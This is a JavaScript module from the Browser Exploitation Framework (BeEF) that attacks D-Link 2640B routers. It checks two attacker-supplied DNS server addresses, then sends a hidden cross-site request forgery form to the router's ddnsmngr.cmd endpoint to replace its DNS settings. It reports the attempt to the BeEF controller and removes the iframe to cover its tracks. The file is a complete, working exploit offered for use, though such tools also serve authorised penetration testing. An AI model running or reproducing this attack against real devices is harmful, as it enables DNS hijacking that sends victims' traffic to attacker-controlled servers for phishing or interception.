//
// Copyright (c) 2006-2016 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

beef.execute(function() {

	// config
	var target  = 'http://<%= @rhost %>/ddnsmngr.cmd';
	var dns1    = '<%= @dns1 %>';
	var dns2    = '<%= @dns2 %>';
	var timeout = 15;

	// validate primary DNS server IP address
	var parts = dns1.split('.');
	if (parts.length != 4) {
		beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided");
		return;
	}
	for (var i=0; i<parts.length; i++) {
		var part = parts[i];
		if (isNaN(part) || part < 0 || part > 255) {
			beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided");
			return;
		}
	}

	// validate secondary DNS server IP address
	var parts = dns2.split('.');
	if (parts.length != 4) {
		beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided");
		return;
	}
	for (var i=0; i<parts.length; i++) {
		var part = parts[i];
		if (isNaN(part) || part < 0 || part > 255) {
			beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided");
			return;
		}
	}

	// change DNS
	var dlink_2640b_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, "GET", "application/x-www-form-urlencoded", [
                {'type':'hidden', 'name':'action', 'value': 'apply'},
                {'type':'hidden', 'name':'service', 'value': '0'},
                {'type':'hidden', 'name':'enbl', 'value': '0'},
		{'type':'hidden', 'name':'dnsPrimary', 'value': dns1},
		{'type':'hidden', 'name':'dnsSecondary', 'value': dns2},
		{'type':'hidden', 'name':'dnsDynamic', 'value': '0'},
		{'type':'hidden', 'name':'dnsRefresh', 'value': '1'},
                {'type':'hidden', 'name':'dns6Type', 'value': 'DHCP'}
	]);

	beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");

	// clean up
	cleanup = function() {
		document.body.removeChild(dlink_2640b_iframe_<%= @command_id %>);
	}
	setTimeout("cleanup()", timeout*1000);

});

